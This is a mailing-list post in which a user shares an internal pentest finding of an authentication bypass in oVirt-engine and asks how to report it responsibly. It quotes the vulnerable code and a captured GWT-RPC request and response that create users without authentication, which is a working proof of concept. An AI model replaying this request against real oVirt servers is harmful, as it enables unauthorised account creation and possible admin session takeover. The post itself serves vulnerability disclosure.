Hello ovirt comunity.
We had an internal pentest here and one finding is
Ovirt-engine authentication bypass.
Ovirt-engine, as deployed on ovirtm.XXX.XXX.cz, contains an
authentication bypass. It is
possible to directly call the CreateUserSessionCommand using
runAction exposed by /ovirt-
engine/webadmin/GenericApiGWTService.
This action explicitly enables everyone to call it:
```
@Override
protected boolean isUserAuthorizedToRunAction() {
return true;
}
```
The behavior of this call differs based on the
ENGINE_SSO_ENABLE_EXTERNAL_SSO configuration
option:
```
boolean externalSsoEnabled =
EngineLocalConfig.getInstance().getBoolean("ENGINE_SSO_ENABLE_EXTERNAL_SSO");
DbUser dbUser = externalSsoEnabled ?
dbUserDao.getByUsernameAndDomain(params.getPrincipalName(),
authzName) :
dbUserDao.getByExternalId(authzName,
params.getPrincipalId());
```
If this option is enabled, usernames are used to locate users. If
it's disabled, the externalId
(which seems to be a randomly generated GUID) is used to locate
users.
If the specified user exists, a session is returned for the user.
If the specified user doesn't exist,
the user is created in the system. However, the user doesn't get
assigned any group membership
or rights, therefore the session creation fails because of the
missing Login right.
The attempt to modify the users table can be seen in the SQL error
message when attempting to
use a null value for the username (as the endpoint uses GWT, the
payload is mostly unreadable):
```
POST /ovirt-engine/webadmin/GenericApiGWTService HTTP/1.1
Host: ovirtm.xxx.xxx.cz
14
Final Report: Results of penetration testing (internal,
external, Wi-Fi)
21 December 2023
Cookie:
JSESSIONID=wsp3WAo63LZGHfpB__stEt4lZ7z_zZycpzIprNlT.ovirtm45;
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Module-Base:
https://ovirtm.xxx.xx.cz/ovirt-engine/webadmin
X-GWT-Permutation: D7ECB5EF5E29205D18271CC08183A28D
Ovirt-Xsrf-Token:
4D87D03B631F8506FC668AA4C3FE3F443D723A9F379FDBB8B0D6DA0668650375
Content-Length: 869
7|0|23|https://ovirtm.xxx.xxx.cz/ovirt-
engine/webadmin|0D1B4DEE9D1424E18C443F1CD1C11574|org.ovirt.engine.ui.frontend.gwtservices.GenericApiGWT
Service|runAction|org.ovirt.engine.core.common.action.ActionType/2930387551|org.ovirt.engine.core.commo
n.action.ActionParametersBase/2903049429|org.ovirt.engine.core.common.action.CreateUserSessionParameter
s/2744166832|appScope|email|firstName|java.util.ArrayList/4159755760|lastName|namespace|principalId|adm
in|internal|sourceIp|ssoScope|ssoToken|org.ovirt.engine.core.common.action.ActionParametersBase$EndProc
edure/1568822488|java.util.Collections$EmptyMap/4174664486|org.ovirt.engine.core.common.businessentitie
s.VDSStatus/1938301532|org.ovirt.engine.core.compat.TransactionScopeOption/1475850853|1|2|3|4|2|5|6|5|2
01|7|0|8|9|10|11|0|12|13|14|0|16|17|18|19|0|5|0|0|0|0|20|1|0|11|0|0|0|0|0|0|21|0|-
4|22|0|1|0|1|23|2|0|0|0|
HTTP/1.1 200 OK
Date: Fri, 15 Dec 2023 09:42:35 GMT
Server: Apache/2.4.37 (CentOS Stream) OpenSSL/1.1.1k
mod_auth_gssapi/1.6.1
Expires: Thu, 14 Dec 2023 09:42:35 GMT
Cache-Control: no-cache, no-store, must-revalidate
Set-Cookie: locale=cs_CZ; path=/; secure; HttpOnly;
Max-Age=2147483647; Expires=Wed, 02-Jan-2092
12:56:42 GMT
X-XSS-PROTECTION: 1; MODE=BLOCK
Pragma: no-cache
X-FRAME-OPTIONS: SAMEORIGIN
Content-Disposition: attachment
X-CONTENT-TYPE-OPTIONS: NOSNIFF
Content-Length: 1794
Content-Type: application/json;charset=utf-8
Correlation-Id: 664c1c1f-9a75-4e14-94d7-aba12c5442f5
Connection: close
//OK[0,5,4,8,3,1,2,474,7,6,1,0,2,0,2,5,1,0,4,3,1,2,0,2,1,1,["org.ovirt.engine.core.common.action.Action
ReturnValue/4163585948","java.util.ArrayList/4159755760","java.lang.String/2004016611","ENGINE","","org
.ovirt.engine.core.common.errors.EngineFault/2377218566","org.ovirt.engine.core.common.errors.EngineErr
or/2640515959","ERROR: null value in column \"username\"
violates not-null constraint\n Detail:
Failing row contains (6dad5e2f-7c95-4547-8f08-6936494c91b6,
firstName, lastName, internal-authz, null,
, email, , f, principalId, 2023-12-14 17:51:04.757747+01,
2023-12-15 10:42:35.125994+01, namespace,
firstName@internal-authz).\n Where: SQL statement \"UPDATE
users\n SET department \u003D
v_department,\n domain \u003D v_domain,\n email \u003D
v_email,\n name \u003D
v_name,\n note \u003D v_note,\n surname \u003D v_surname,\n
username \u003D
v_username,\n external_id \u003D v_external_id,\n namespace
\u003D v_namespace,\n
_update_date \u003D CURRENT_TIMESTAMP\n WHERE external_id \u003D
v_external_id\n AND domain
\u003D v_domain\"\nPL/pgSQL function updateuserimpl(character
varying,character varying,character
varying,character varying,character varying,character
varying,uuid,character varying,text,character
varying) line 5 at SQL statement\nSQL statement \"SELECT
UpdateUserImpl(\n v_department,\n
v_domain,\n v_email,\n v_name,\n v_note,\n v_surname,\n
v_user_id,\n
v_username,\n v_external_id,\n v_namespace)\"\nPL/pgSQL function
updateuser(character
varying,character varying,character varying,character
varying,character varying,character
varying,uuid,character varying,boolean,text,character varying)
line 3 at PERFORM"],0,7]
```
Fortunately, in our deplyoment the ENGINE_SSO_ENABLE_EXTERNAL_SSO
configuration was
set to false, so to create a session for the admin it would be
necessary to know the admin's user
externalId. However, as this is not the default configuration, it
is possible that a later
reinstallation could change the value. Still, it was possible to
create users in the system without
any authentication.
What is the best way to report this security issue?
Thank you
Jirka